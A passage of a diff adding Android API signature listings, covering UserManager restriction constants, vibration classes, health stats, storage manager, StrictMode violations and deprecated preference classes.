+    field public static final String DISALLOW_CONFIG_PRIVATE_DNS = "disallow_config_private_dns";
+    field public static final String DISALLOW_CONFIG_SCREEN_TIMEOUT = "no_config_screen_timeout";
+    field public static final String DISALLOW_CONFIG_TETHERING = "no_config_tethering";
+    field public static final String DISALLOW_CONFIG_VPN = "no_config_vpn";
+    field public static final String DISALLOW_CONFIG_WIFI = "no_config_wifi";
+    field public static final String DISALLOW_CONTENT_CAPTURE = "no_content_capture";
+    field public static final String DISALLOW_CONTENT_SUGGESTIONS = "no_content_suggestions";
+    field public static final String DISALLOW_CREATE_WINDOWS = "no_create_windows";
+    field public static final String DISALLOW_CROSS_PROFILE_COPY_PASTE = "no_cross_profile_copy_paste";
+    field public static final String DISALLOW_DATA_ROAMING = "no_data_roaming";
+    field public static final String DISALLOW_DEBUGGING_FEATURES = "no_debugging_features";
+    field public static final String DISALLOW_FACTORY_RESET = "no_factory_reset";
+    field public static final String DISALLOW_FUN = "no_fun";
+    field public static final String DISALLOW_INSTALL_APPS = "no_install_apps";
+    field public static final String DISALLOW_INSTALL_UNKNOWN_SOURCES = "no_install_unknown_sources";
+    field public static final String DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY = "no_install_unknown_sources_globally";
+    field public static final String DISALLOW_MICROPHONE_TOGGLE = "disallow_microphone_toggle";
+    field public static final String DISALLOW_MODIFY_ACCOUNTS = "no_modify_accounts";
+    field public static final String DISALLOW_MOUNT_PHYSICAL_MEDIA = "no_physical_media";
+    field public static final String DISALLOW_NETWORK_RESET = "no_network_reset";
+    field public static final String DISALLOW_OUTGOING_BEAM = "no_outgoing_beam";
+    field public static final String DISALLOW_OUTGOING_CALLS = "no_outgoing_calls";
+    field public static final String DISALLOW_PRINTING = "no_printing";
+    field @Deprecated public static final String DISALLOW_REMOVE_MANAGED_PROFILE = "no_remove_managed_profile";
+    field public static final String DISALLOW_REMOVE_USER = "no_remove_user";
+    field public static final String DISALLOW_SAFE_BOOT = "no_safe_boot";
+    field public static final String DISALLOW_SET_USER_ICON = "no_set_user_icon";
+    field public static final String DISALLOW_SET_WALLPAPER = "no_set_wallpaper";
+    field public static final String DISALLOW_SHARE_INTO_MANAGED_PROFILE = "no_sharing_into_profile";
+    field public static final String DISALLOW_SHARE_LOCATION = "no_share_location";
+    field public static final String DISALLOW_SMS = "no_sms";
+    field public static final String DISALLOW_SYSTEM_ERROR_DIALOGS = "no_system_error_dialogs";
+    field public static final String DISALLOW_UNIFIED_PASSWORD = "no_unified_password";
+    field public static final String DISALLOW_UNINSTALL_APPS = "no_uninstall_apps";
+    field public static final String DISALLOW_UNMUTE_MICROPHONE = "no_unmute_microphone";
+    field public static final String DISALLOW_USB_FILE_TRANSFER = "no_usb_file_transfer";
+    field public static final String DISALLOW_USER_SWITCH = "no_user_switch";
+    field public static final String ENSURE_VERIFY_APPS = "ensure_verify_apps";
+    field public static final String KEY_RESTRICTIONS_PENDING = "restrictions_pending";
+    field public static final int QUIET_MODE_DISABLE_ONLY_IF_CREDENTIAL_NOT_REQUIRED = 1; // 0x1
+    field public static final int USER_CREATION_FAILED_NOT_PERMITTED = 1; // 0x1
+    field public static final int USER_CREATION_FAILED_NO_MORE_USERS = 2; // 0x2
+    field public static final int USER_OPERATION_ERROR_CURRENT_USER = 4; // 0x4
+    field public static final int USER_OPERATION_ERROR_LOW_STORAGE = 5; // 0x5
+    field public static final int USER_OPERATION_ERROR_MANAGED_PROFILE = 2; // 0x2
+    field public static final int USER_OPERATION_ERROR_MAX_RUNNING_USERS = 3; // 0x3
+    field public static final int USER_OPERATION_ERROR_MAX_USERS = 6; // 0x6
+    field public static final int USER_OPERATION_ERROR_UNKNOWN = 1; // 0x1
+    field public static final int USER_OPERATION_SUCCESS = 0; // 0x0
+  }
+
+  public static class UserManager.UserOperationException extends java.lang.RuntimeException {
+    method public int getUserOperationResult();
+  }
+
+  public final class VibrationAttributes implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getFlags();
+    method public int getUsage();
+    method public int getUsageClass();
+    method public boolean isFlagSet(int);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.VibrationAttributes> CREATOR;
+    field public static final int FLAG_BYPASS_INTERRUPTION_POLICY = 1; // 0x1
+    field public static final int USAGE_ALARM = 17; // 0x11
+    field public static final int USAGE_CLASS_ALARM = 1; // 0x1
+    field public static final int USAGE_CLASS_FEEDBACK = 2; // 0x2
+    field public static final int USAGE_CLASS_MASK = 15; // 0xf
+    field public static final int USAGE_CLASS_UNKNOWN = 0; // 0x0
+    field public static final int USAGE_COMMUNICATION_REQUEST = 65; // 0x41
+    field public static final int USAGE_HARDWARE_FEEDBACK = 50; // 0x32
+    field public static final int USAGE_NOTIFICATION = 49; // 0x31
+    field public static final int USAGE_PHYSICAL_EMULATION = 34; // 0x22
+    field public static final int USAGE_RINGTONE = 33; // 0x21
+    field public static final int USAGE_TOUCH = 18; // 0x12
+    field public static final int USAGE_UNKNOWN = 0; // 0x0
+  }
+
+  public static final class VibrationAttributes.Builder {
+    ctor public VibrationAttributes.Builder();
+    ctor public VibrationAttributes.Builder(@Nullable android.os.VibrationAttributes);
+    method @NonNull public android.os.VibrationAttributes build();
+    method @NonNull public android.os.VibrationAttributes.Builder setFlags(int, int);
+    method @NonNull public android.os.VibrationAttributes.Builder setUsage(int);
+  }
+
+  public abstract class VibrationEffect implements android.os.Parcelable {
+    method public static android.os.VibrationEffect createOneShot(long, int);
+    method @NonNull public static android.os.VibrationEffect createPredefined(int);
+    method public static android.os.VibrationEffect createWaveform(long[], int);
+    method public static android.os.VibrationEffect createWaveform(long[], int[], int);
+    method public int describeContents();
+    method @NonNull public static android.os.VibrationEffect.Composition startComposition();
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.VibrationEffect> CREATOR;
+    field public static final int DEFAULT_AMPLITUDE = -1; // 0xffffffff
+    field public static final int EFFECT_CLICK = 0; // 0x0
+    field public static final int EFFECT_DOUBLE_CLICK = 1; // 0x1
+    field public static final int EFFECT_HEAVY_CLICK = 5; // 0x5
+    field public static final int EFFECT_TICK = 2; // 0x2
+  }
+
+  public static final class VibrationEffect.Composition {
+    method @NonNull public android.os.VibrationEffect.Composition addPrimitive(int);
+    method @NonNull public android.os.VibrationEffect.Composition addPrimitive(int, @FloatRange(from=0.0f, to=1.0f) float);
+    method @NonNull public android.os.VibrationEffect.Composition addPrimitive(int, @FloatRange(from=0.0f, to=1.0f) float, @IntRange(from=0) int);
+    method @NonNull public android.os.VibrationEffect compose();
+    field public static final int PRIMITIVE_CLICK = 1; // 0x1
+    field public static final int PRIMITIVE_LOW_TICK = 8; // 0x8
+    field public static final int PRIMITIVE_QUICK_FALL = 6; // 0x6
+    field public static final int PRIMITIVE_QUICK_RISE = 4; // 0x4
+    field public static final int PRIMITIVE_SLOW_RISE = 5; // 0x5
+    field public static final int PRIMITIVE_SPIN = 3; // 0x3
+    field public static final int PRIMITIVE_THUD = 2; // 0x2
+    field public static final int PRIMITIVE_TICK = 7; // 0x7
+  }
+
+  public abstract class Vibrator {
+    method public final int areAllEffectsSupported(@NonNull int...);
+    method public final boolean areAllPrimitivesSupported(@NonNull int...);
+    method @NonNull public int[] areEffectsSupported(@NonNull int...);
+    method @NonNull public boolean[] arePrimitivesSupported(@NonNull int...);
+    method @RequiresPermission(android.Manifest.permission.VIBRATE) public abstract void cancel();
+    method public int getId();
+    method @NonNull public int[] getPrimitiveDurations(@NonNull int...);
+    method public abstract boolean hasAmplitudeControl();
+    method public abstract boolean hasVibrator();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.VIBRATE) public void vibrate(long);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.VIBRATE) public void vibrate(long, android.media.AudioAttributes);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.VIBRATE) public void vibrate(long[], int);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.VIBRATE) public void vibrate(long[], int, android.media.AudioAttributes);
+    method @RequiresPermission(android.Manifest.permission.VIBRATE) public void vibrate(android.os.VibrationEffect);
+    method @RequiresPermission(android.Manifest.permission.VIBRATE) public void vibrate(android.os.VibrationEffect, android.media.AudioAttributes);
+    field public static final int VIBRATION_EFFECT_SUPPORT_NO = 2; // 0x2
+    field public static final int VIBRATION_EFFECT_SUPPORT_UNKNOWN = 0; // 0x0
+    field public static final int VIBRATION_EFFECT_SUPPORT_YES = 1; // 0x1
+  }
+
+  public abstract class VibratorManager {
+    method @RequiresPermission(android.Manifest.permission.VIBRATE) public abstract void cancel();
+    method @NonNull public abstract android.os.Vibrator getDefaultVibrator();
+    method @NonNull public abstract android.os.Vibrator getVibrator(int);
+    method @NonNull public abstract int[] getVibratorIds();
+    method @RequiresPermission(android.Manifest.permission.VIBRATE) public final void vibrate(@NonNull android.os.CombinedVibration);
+    method @RequiresPermission(android.Manifest.permission.VIBRATE) public final void vibrate(@NonNull android.os.CombinedVibration, @Nullable android.os.VibrationAttributes);
+  }
+
+  public class WorkSource implements android.os.Parcelable {
+    ctor public WorkSource();
+    ctor public WorkSource(android.os.WorkSource);
+    method public boolean add(android.os.WorkSource);
+    method public void clear();
+    method public int describeContents();
+    method public boolean diff(android.os.WorkSource);
+    method public boolean remove(android.os.WorkSource);
+    method public void set(android.os.WorkSource);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.WorkSource> CREATOR;
+  }
+
+}
+
+package android.os.health {
+
+  public class HealthStats {
+    method public String getDataType();
+    method public long getMeasurement(int);
+    method public int getMeasurementKeyAt(int);
+    method public int getMeasurementKeyCount();
+    method public java.util.Map<java.lang.String,java.lang.Long> getMeasurements(int);
+    method public int getMeasurementsKeyAt(int);
+    method public int getMeasurementsKeyCount();
+    method public java.util.Map<java.lang.String,android.os.health.HealthStats> getStats(int);
+    method public int getStatsKeyAt(int);
+    method public int getStatsKeyCount();
+    method public android.os.health.TimerStat getTimer(int);
+    method public int getTimerCount(int);
+    method public int getTimerKeyAt(int);
+    method public int getTimerKeyCount();
+    method public long getTimerTime(int);
+    method public java.util.Map<java.lang.String,android.os.health.TimerStat> getTimers(int);
+    method public int getTimersKeyAt(int);
+    method public int getTimersKeyCount();
+    method public boolean hasMeasurement(int);
+    method public boolean hasMeasurements(int);
+    method public boolean hasStats(int);
+    method public boolean hasTimer(int);
+    method public boolean hasTimers(int);
+  }
+
+  public final class PackageHealthStats {
+    field public static final int MEASUREMENTS_WAKEUP_ALARMS_COUNT = 40002; // 0x9c42
+    field public static final int STATS_SERVICES = 40001; // 0x9c41
+  }
+
+  public final class PidHealthStats {
+    field public static final int MEASUREMENT_WAKE_NESTING_COUNT = 20001; // 0x4e21
+    field public static final int MEASUREMENT_WAKE_START_MS = 20003; // 0x4e23
+    field public static final int MEASUREMENT_WAKE_SUM_MS = 20002; // 0x4e22
+  }
+
+  public final class ProcessHealthStats {
+    field public static final int MEASUREMENT_ANR_COUNT = 30005; // 0x7535
+    field public static final int MEASUREMENT_CRASHES_COUNT = 30004; // 0x7534
+    field public static final int MEASUREMENT_FOREGROUND_MS = 30006; // 0x7536
+    field public static final int MEASUREMENT_STARTS_COUNT = 30003; // 0x7533
+    field public static final int MEASUREMENT_SYSTEM_TIME_MS = 30002; // 0x7532
+    field public static final int MEASUREMENT_USER_TIME_MS = 30001; // 0x7531
+  }
+
+  public final class ServiceHealthStats {
+    field public static final int MEASUREMENT_LAUNCH_COUNT = 50002; // 0xc352
+    field public static final int MEASUREMENT_START_SERVICE_COUNT = 50001; // 0xc351
+  }
+
+  public class SystemHealthManager {
+    method public android.os.health.HealthStats takeMyUidSnapshot();
+    method public android.os.health.HealthStats takeUidSnapshot(int);
+    method public android.os.health.HealthStats[] takeUidSnapshots(int[]);
+  }
+
+  public final class TimerStat implements android.os.Parcelable {
+    ctor public TimerStat();
+    ctor public TimerStat(int, long);
+    ctor public TimerStat(android.os.Parcel);
+    method public int describeContents();
+    method public int getCount();
+    method public long getTime();
+    method public void setCount(int);
+    method public void setTime(long);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.health.TimerStat> CREATOR;
+  }
+
+  public final class UidHealthStats {
+    field public static final int MEASUREMENT_BLUETOOTH_IDLE_MS = 10020; // 0x2724
+    field public static final int MEASUREMENT_BLUETOOTH_POWER_MAMS = 10023; // 0x2727
+    field public static final int MEASUREMENT_BLUETOOTH_RX_BYTES = 10052; // 0x2744
+    field public static final int MEASUREMENT_BLUETOOTH_RX_MS = 10021; // 0x2725
+    field public static final int MEASUREMENT_BLUETOOTH_RX_PACKETS = 10058; // 0x274a
+    field public static final int MEASUREMENT_BLUETOOTH_TX_BYTES = 10053; // 0x2745
+    field public static final int MEASUREMENT_BLUETOOTH_TX_MS = 10022; // 0x2726
+    field public static final int MEASUREMENT_BLUETOOTH_TX_PACKETS = 10059; // 0x274b
+    field public static final int MEASUREMENT_BUTTON_USER_ACTIVITY_COUNT = 10046; // 0x273e
+    field @Deprecated public static final int MEASUREMENT_CPU_POWER_MAMS = 10064; // 0x2750
+    field public static final int MEASUREMENT_MOBILE_IDLE_MS = 10024; // 0x2728
+    field public static final int MEASUREMENT_MOBILE_POWER_MAMS = 10027; // 0x272b
+    field public static final int MEASUREMENT_MOBILE_RX_BYTES = 10048; // 0x2740
+    field public static final int MEASUREMENT_MOBILE_RX_MS = 10025; // 0x2729
+    field public static final int MEASUREMENT_MOBILE_RX_PACKETS = 10054; // 0x2746
+    field public static final int MEASUREMENT_MOBILE_TX_BYTES = 10049; // 0x2741
+    field public static final int MEASUREMENT_MOBILE_TX_MS = 10026; // 0x272a
+    field public static final int MEASUREMENT_MOBILE_TX_PACKETS = 10055; // 0x2747
+    field public static final int MEASUREMENT_OTHER_USER_ACTIVITY_COUNT = 10045; // 0x273d
+    field public static final int MEASUREMENT_REALTIME_BATTERY_MS = 10001; // 0x2711
+    field public static final int MEASUREMENT_REALTIME_SCREEN_OFF_BATTERY_MS = 10003; // 0x2713
+    field public static final int MEASUREMENT_SYSTEM_CPU_TIME_MS = 10063; // 0x274f
+    field public static final int MEASUREMENT_TOUCH_USER_ACTIVITY_COUNT = 10047; // 0x273f
+    field public static final int MEASUREMENT_UPTIME_BATTERY_MS = 10002; // 0x2712
+    field public static final int MEASUREMENT_UPTIME_SCREEN_OFF_BATTERY_MS = 10004; // 0x2714
+    field public static final int MEASUREMENT_USER_CPU_TIME_MS = 10062; // 0x274e
+    field public static final int MEASUREMENT_WIFI_FULL_LOCK_MS = 10029; // 0x272d
+    field public static final int MEASUREMENT_WIFI_IDLE_MS = 10016; // 0x2720
+    field public static final int MEASUREMENT_WIFI_MULTICAST_MS = 10031; // 0x272f
+    field public static final int MEASUREMENT_WIFI_POWER_MAMS = 10019; // 0x2723
+    field public static final int MEASUREMENT_WIFI_RUNNING_MS = 10028; // 0x272c
+    field public static final int MEASUREMENT_WIFI_RX_BYTES = 10050; // 0x2742
+    field public static final int MEASUREMENT_WIFI_RX_MS = 10017; // 0x2721
+    field public static final int MEASUREMENT_WIFI_RX_PACKETS = 10056; // 0x2748
+    field public static final int MEASUREMENT_WIFI_TX_BYTES = 10051; // 0x2743
+    field public static final int MEASUREMENT_WIFI_TX_MS = 10018; // 0x2722
+    field public static final int MEASUREMENT_WIFI_TX_PACKETS = 10057; // 0x2749
+    field public static final int STATS_PACKAGES = 10015; // 0x271f
+    field public static final int STATS_PIDS = 10013; // 0x271d
+    field public static final int STATS_PROCESSES = 10014; // 0x271e
+    field public static final int TIMERS_JOBS = 10010; // 0x271a
+    field public static final int TIMERS_SENSORS = 10012; // 0x271c
+    field public static final int TIMERS_SYNCS = 10009; // 0x2719
+    field public static final int TIMERS_WAKELOCKS_DRAW = 10008; // 0x2718
+    field public static final int TIMERS_WAKELOCKS_FULL = 10005; // 0x2715
+    field public static final int TIMERS_WAKELOCKS_PARTIAL = 10006; // 0x2716
+    field public static final int TIMERS_WAKELOCKS_WINDOW = 10007; // 0x2717
+    field public static final int TIMER_AUDIO = 10032; // 0x2730
+    field public static final int TIMER_BLUETOOTH_SCAN = 10037; // 0x2735
+    field public static final int TIMER_CAMERA = 10035; // 0x2733
+    field public static final int TIMER_FLASHLIGHT = 10034; // 0x2732
+    field public static final int TIMER_FOREGROUND_ACTIVITY = 10036; // 0x2734
+    field public static final int TIMER_GPS_SENSOR = 10011; // 0x271b
+    field public static final int TIMER_MOBILE_RADIO_ACTIVE = 10061; // 0x274d
+    field public static final int TIMER_PROCESS_STATE_BACKGROUND_MS = 10042; // 0x273a
+    field public static final int TIMER_PROCESS_STATE_CACHED_MS = 10043; // 0x273b
+    field public static final int TIMER_PROCESS_STATE_FOREGROUND_MS = 10041; // 0x2739
+    field public static final int TIMER_PROCESS_STATE_FOREGROUND_SERVICE_MS = 10039; // 0x2737
+    field public static final int TIMER_PROCESS_STATE_TOP_MS = 10038; // 0x2736
+    field public static final int TIMER_PROCESS_STATE_TOP_SLEEPING_MS = 10040; // 0x2738
+    field public static final int TIMER_VIBRATOR = 10044; // 0x273c
+    field public static final int TIMER_VIDEO = 10033; // 0x2731
+    field public static final int TIMER_WIFI_SCAN = 10030; // 0x272e
+  }
+
+}
+
+package android.os.storage {
+
+  public abstract class OnObbStateChangeListener {
+    ctor public OnObbStateChangeListener();
+    method public void onObbStateChange(String, int);
+    field public static final int ERROR_ALREADY_MOUNTED = 24; // 0x18
+    field public static final int ERROR_COULD_NOT_MOUNT = 21; // 0x15
+    field public static final int ERROR_COULD_NOT_UNMOUNT = 22; // 0x16
+    field public static final int ERROR_INTERNAL = 20; // 0x14
+    field public static final int ERROR_NOT_MOUNTED = 23; // 0x17
+    field public static final int ERROR_PERMISSION_DENIED = 25; // 0x19
+    field public static final int MOUNTED = 1; // 0x1
+    field public static final int UNMOUNTED = 2; // 0x2
+  }
+
+  public class StorageManager {
+    method @WorkerThread public void allocateBytes(@NonNull java.util.UUID, long) throws java.io.IOException;
+    method @WorkerThread public void allocateBytes(java.io.FileDescriptor, long) throws java.io.IOException;
+    method @WorkerThread public long getAllocatableBytes(@NonNull java.util.UUID) throws java.io.IOException;
+    method @WorkerThread public long getCacheQuotaBytes(@NonNull java.util.UUID) throws java.io.IOException;
+    method @WorkerThread public long getCacheSizeBytes(@NonNull java.util.UUID) throws java.io.IOException;
+    method @Nullable @RequiresPermission(android.Manifest.permission.MANAGE_EXTERNAL_STORAGE) public android.app.PendingIntent getManageSpaceActivityIntent(@NonNull String, int);
+    method public String getMountedObbPath(String);
+    method @NonNull public android.os.storage.StorageVolume getPrimaryStorageVolume();
+    method @NonNull public java.util.List<android.os.storage.StorageVolume> getRecentStorageVolumes();
+    method @Nullable public android.os.storage.StorageVolume getStorageVolume(@NonNull java.io.File);
+    method @NonNull public android.os.storage.StorageVolume getStorageVolume(@NonNull android.net.Uri);
+    method @NonNull public java.util.List<android.os.storage.StorageVolume> getStorageVolumes();
+    method @NonNull public java.util.UUID getUuidForPath(@NonNull java.io.File) throws java.io.IOException;
+    method public boolean isAllocationSupported(@NonNull java.io.FileDescriptor);
+    method public boolean isCacheBehaviorGroup(java.io.File) throws java.io.IOException;
+    method public boolean isCacheBehaviorTombstone(java.io.File) throws java.io.IOException;
+    method public boolean isCheckpointSupported();
+    method public boolean isEncrypted(java.io.File);
+    method public boolean isObbMounted(String);
+    method public boolean mountObb(String, String, android.os.storage.OnObbStateChangeListener);
+    method @NonNull public android.os.ParcelFileDescriptor openProxyFileDescriptor(int, android.os.ProxyFileDescriptorCallback, android.os.Handler) throws java.io.IOException;
+    method public void registerStorageVolumeCallback(@NonNull java.util.concurrent.Executor, @NonNull android.os.storage.StorageManager.StorageVolumeCallback);
+    method public void setCacheBehaviorGroup(java.io.File, boolean) throws java.io.IOException;
+    method public void setCacheBehaviorTombstone(java.io.File, boolean) throws java.io.IOException;
+    method public boolean unmountObb(String, boolean, android.os.storage.OnObbStateChangeListener);
+    method public void unregisterStorageVolumeCallback(@NonNull android.os.storage.StorageManager.StorageVolumeCallback);
+    field @RequiresPermission(android.Manifest.permission.MANAGE_EXTERNAL_STORAGE) public static final String ACTION_CLEAR_APP_CACHE = "android.os.storage.action.CLEAR_APP_CACHE";
+    field public static final String ACTION_MANAGE_STORAGE = "android.os.storage.action.MANAGE_STORAGE";
+    field public static final String EXTRA_REQUESTED_BYTES = "android.os.storage.extra.REQUESTED_BYTES";
+    field public static final String EXTRA_UUID = "android.os.storage.extra.UUID";
+    field public static final java.util.UUID UUID_DEFAULT;
+  }
+
+  public static class StorageManager.StorageVolumeCallback {
+    ctor public StorageManager.StorageVolumeCallback();
+    method public void onStateChanged(@NonNull android.os.storage.StorageVolume);
+  }
+
+  public final class StorageVolume implements android.os.Parcelable {
+    method @Deprecated @Nullable public android.content.Intent createAccessIntent(String);
+    method @NonNull public android.content.Intent createOpenDocumentTreeIntent();
+    method public int describeContents();
+    method public String getDescription(android.content.Context);
+    method @Nullable public java.io.File getDirectory();
+    method @Nullable public String getMediaStoreVolumeName();
+    method public String getState();
+    method @Nullable public java.util.UUID getStorageUuid();
+    method @Nullable public String getUuid();
+    method public boolean isEmulated();
+    method public boolean isPrimary();
+    method public boolean isRemovable();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.storage.StorageVolume> CREATOR;
+    field public static final String EXTRA_STORAGE_VOLUME = "android.os.storage.extra.STORAGE_VOLUME";
+  }
+
+}
+
+package android.os.strictmode {
+
+  public final class CleartextNetworkViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class ContentUriWithoutPermissionViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class CredentialProtectedWhileLockedViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class CustomViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class DiskReadViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class DiskWriteViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class FileUriExposedViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class ImplicitDirectBootViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class IncorrectContextUseViolation extends android.os.strictmode.Violation {
+    ctor public IncorrectContextUseViolation(@NonNull String, @NonNull Throwable);
+  }
+
+  public class InstanceCountViolation extends android.os.strictmode.Violation {
+    method public long getNumberOfInstances();
+  }
+
+  public final class IntentReceiverLeakedViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class LeakedClosableViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class NetworkViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class NonSdkApiUsedViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class ResourceMismatchViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class ServiceConnectionLeakedViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class SqliteObjectLeakedViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class UnbufferedIoViolation extends android.os.strictmode.Violation {
+  }
+
+  public final class UnsafeIntentLaunchViolation extends android.os.strictmode.Violation {
+    ctor public UnsafeIntentLaunchViolation(@NonNull android.content.Intent);
+    method @Nullable public android.content.Intent getIntent();
+  }
+
+  public final class UntaggedSocketViolation extends android.os.strictmode.Violation {
+  }
+
+  public abstract class Violation extends java.lang.Throwable {
+  }
+
+  public final class WebViewMethodCalledOnWrongThreadViolation extends android.os.strictmode.Violation {
+  }
+
+}
+
+package android.preference {
+
+  @Deprecated public class CheckBoxPreference extends android.preference.TwoStatePreference {
+    ctor @Deprecated public CheckBoxPreference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public CheckBoxPreference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public CheckBoxPreference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public CheckBoxPreference(android.content.Context);
+  }
+
+  @Deprecated public abstract class DialogPreference extends android.preference.Preference implements android.content.DialogInterface.OnClickListener android.content.DialogInterface.OnDismissListener android.preference.PreferenceManager.OnActivityDestroyListener {
+    ctor @Deprecated public DialogPreference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public DialogPreference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public DialogPreference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public DialogPreference(android.content.Context);
+    method @Deprecated public android.app.Dialog getDialog();
+    method @Deprecated public android.graphics.drawable.Drawable getDialogIcon();
+    method @Deprecated public int getDialogLayoutResource();
+    method @Deprecated public CharSequence getDialogMessage();
+    method @Deprecated public CharSequence getDialogTitle();
+    method @Deprecated public CharSequence getNegativeButtonText();
+    method @Deprecated public CharSequence getPositiveButtonText();
+    method @Deprecated public void onActivityDestroy();
+    method @Deprecated @CallSuper protected void onBindDialogView(android.view.View);
+    method @Deprecated public void onClick(android.content.DialogInterface, int);
+    method @Deprecated protected android.view.View onCreateDialogView();
+    method @Deprecated protected void onDialogClosed(boolean);
+    method @Deprecated public void onDismiss(android.content.DialogInterface);
+    method @Deprecated protected void onPrepareDialogBuilder(android.app.AlertDialog.Builder);
+    method @Deprecated public void setDialogIcon(android.graphics.drawable.Drawable);
+    method @Deprecated public void setDialogIcon(@DrawableRes int);
+    method @Deprecated public void setDialogLayoutResource(int);
+    method @Deprecated public void setDialogMessage(CharSequence);
+    method @Deprecated public void setDialogMessage(int);
+    method @Deprecated public void setDialogTitle(CharSequence);
+    method @Deprecated public void setDialogTitle(int);
+    method @Deprecated public void setNegativeButtonText(CharSequence);
+    method @Deprecated public void setNegativeButtonText(@StringRes int);
+    method @Deprecated public void setPositiveButtonText(CharSequence);
+    method @Deprecated public void setPositiveButtonText(@StringRes int);
+    method @Deprecated protected void showDialog(android.os.Bundle);
+  }
+
+  @Deprecated public class EditTextPreference extends android.preference.DialogPreference {
+    ctor @Deprecated public EditTextPreference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public EditTextPreference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public EditTextPreference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public EditTextPreference(android.content.Context);
+    method @Deprecated public android.widget.EditText getEditText();
+    method @Deprecated public String getText();
+    method @Deprecated protected void onAddEditTextToDialogView(android.view.View, android.widget.EditText);
+    method @Deprecated public void setText(String);
+  }
+
+  @Deprecated public class ListPreference extends android.preference.DialogPreference {
+    ctor @Deprecated public ListPreference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public ListPreference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public ListPreference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public ListPreference(android.content.Context);
+    method @Deprecated public int findIndexOfValue(String);
+    method @Deprecated public CharSequence[] getEntries();
+    method @Deprecated public CharSequence getEntry();
+    method @Deprecated public CharSequence[] getEntryValues();
+    method @Deprecated public String getValue();
+    method @Deprecated public void setEntries(CharSequence[]);
+    method @Deprecated public void setEntries(@ArrayRes int);
+    method @Deprecated public void setEntryValues(CharSequence[]);
+    method @Deprecated public void setEntryValues(@ArrayRes int);
+    method @Deprecated public void setValue(String);
+    method @Deprecated public void setValueIndex(int);
+  }
+
+  @Deprecated public class MultiSelectListPreference extends android.preference.DialogPreference {
+    ctor @Deprecated public MultiSelectListPreference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public MultiSelectListPreference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public MultiSelectListPreference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public MultiSelectListPreference(android.content.Context);
+    method @Deprecated public int findIndexOfValue(String);
+    method @Deprecated public CharSequence[] getEntries();
+    method @Deprecated public CharSequence[] getEntryValues();
+    method @Deprecated public java.util.Set<java.lang.String> getValues();
+    method @Deprecated public void setEntries(CharSequence[]);
+    method @Deprecated public void setEntries(@ArrayRes int);
+    method @Deprecated public void setEntryValues(CharSequence[]);
+    method @Deprecated public void setEntryValues(@ArrayRes int);
+    method @Deprecated public void setValues(java.util.Set<java.lang.String>);
+  }
+
+  @Deprecated public class Preference implements java.lang.Comparable<android.preference.Preference> {
+    ctor @Deprecated public Preference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public Preference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public Preference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public Preference(android.content.Context);
+    method @Deprecated protected boolean callChangeListener(Object);
+    method @Deprecated public int compareTo(android.preference.Preference);
+    method @Deprecated protected android.preference.Preference findPreferenceInHierarchy(String);
+    method @Deprecated public android.content.Context getContext();
+    method @Deprecated public String getDependency();
+    method @Deprecated public android.content.SharedPreferences.Editor getEditor();
+    method @Deprecated public android.os.Bundle getExtras();
+    method @Deprecated public String getFragment();
+    method @Deprecated public android.graphics.drawable.Drawable getIcon();
+    method @Deprecated public android.content.Intent getIntent();
+    method @Deprecated public String getKey();
+    method @Deprecated @LayoutRes public int getLayoutResource();
+    method @Deprecated public android.preference.Preference.OnPreferenceChangeListener getOnPreferenceChangeListener();
+    method @Deprecated public android.preference.Preference.OnPreferenceClickListener getOnPreferenceClickListener();
+    method @Deprecated public int getOrder();
+    method @Deprecated @Nullable public android.preference.PreferenceGroup getParent();
+    method @Deprecated protected boolean getPersistedBoolean(boolean);
+    method @Deprecated protected float getPersistedFloat(float);
+    method @Deprecated protected int getPersistedInt(int);
+    method @Deprecated protected long getPersistedLong(long);
+    method @Deprecated protected String getPersistedString(String);
+    method @Deprecated public java.util.Set<java.lang.String> getPersistedStringSet(java.util.Set<java.lang.String>);
+    method @Deprecated @Nullable public android.preference.PreferenceDataStore getPreferenceDataStore();
